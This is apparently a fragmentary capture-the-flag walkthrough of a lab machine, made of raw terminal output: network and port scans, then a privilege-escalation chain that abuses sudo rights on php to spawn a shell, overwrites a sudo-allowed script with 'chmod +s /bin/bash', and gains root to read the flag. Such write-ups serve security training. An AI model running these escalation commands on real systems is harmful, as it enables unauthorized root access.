4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.949 seconds (131.35 hosts/sec). 4 responded ❯ export ip=192.168.60.205 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.205:22 Open 192.168.60.205:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-25 08:40 CST Initiating ARP Ping Scan at 08:40 Scanning 192.168.60.205 [1 port] Completed ARP Ping Scan at 08:40, 0.10s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:40 Completed Parallel DNS resolution of 1 host. at 08:40, 0.00s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 08:40 Scanning 192.168.60.205 [2 ports] Discovered open port 22/tcp on 192.168.60.205 Discovered open port 80/tcp on 192.168.60.205 Completed SYN Stealth Scan at 08:40, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.205 Host is up, received arp-response (0.00045s latency). Scanned at 2025-02-25 08:40:40 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:6D:99:86 (Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
(remote) [email protected]:/home$ sudo -l sudo: unable to resolve host TheHackersLabs-facultad.thl: Name or service not known Matching Defaults entries for www-data on TheHackersLabs-facultad: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on TheHackersLabs-facultad: (gabri) NOPASSWD: /usr/bin/php (remote) [email protected]:/home$ sudo -u gabri /usr/bin/php -r "system('/bin/bash');" sudo: unable to resolve host TheHackersLabs-facultad.thl: Name or service not known gabri@TheHackersLabs-facultad:/home$
gabri@TheHackersLabs-facultad:/tmp$ su vivian Password: id uid=1002(vivian) gid=1002(vivian) grupos=1002(vivian) bash vivian@TheHackersLabs-facultad:/tmp$ sudo -l sudo: unable to resolve host TheHackersLabs-facultad.thl: Nombre o servicio desconocido Matching Defaults entries for vivian on TheHackersLabs-facultad: vivian@TheHackersLabs-facultad:/tmp$ env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vivian may run the following commands on TheHackersLabs-facultad: (ALL) NOPASSWD: /opt/vivian/script.sh
gabri@TheHackersLabs-facultad:/opt/vivian$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
gabri@TheHackersLabs-facultad:/tmp$ ls -al /opt/vivian/script.sh -rwxr-xr-x 1 vivian vivian 58 Jan 27 22:34 /opt/vivian/script.sh gabri@TheHackersLabs-facultad:/tmp$ cat /opt/vivian/script.sh #!/bin/bash echo"Ejecutado como vivian para mis alumnos" 执行为我的学生而活着
直接改了就完事了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
vivian@TheHackersLabs-facultad:/$ cd /opt/ vivian@TheHackersLabs-facultad:/opt$ cd vivian/ vivian@TheHackersLabs-facultad:/opt/vivian$ echo"chmod +s /bin/bash">script.sh vivian@TheHackersLabs-facultad:/opt/vivian$ cat script.sh chmod +s /bin/bash vivian@TheHackersLabs-facultad:/opt/vivian$ sudo /opt/vivian/script.sh sudo: unable to resolve host TheHackersLabs-facultad.thl: Nombre o servicio desconocido vivian@TheHackersLabs-facultad:/opt/vivian$ ls -al /bin/bash -rwsr-sr-x 1 root root 1265648 mar 29 2024 /bin/bash vivian@TheHackersLabs-facultad:/opt/vivian$ bash -p vivian@TheHackersLabs-facultad:/opt/vivian# whoami root vivian@TheHackersLabs-facultad:/opt/vivian# cat /root/root.txt vivian@TheHackersLabs-facultad:/opt/vivian# nbfgjyui4r57834sdbhjcvhz
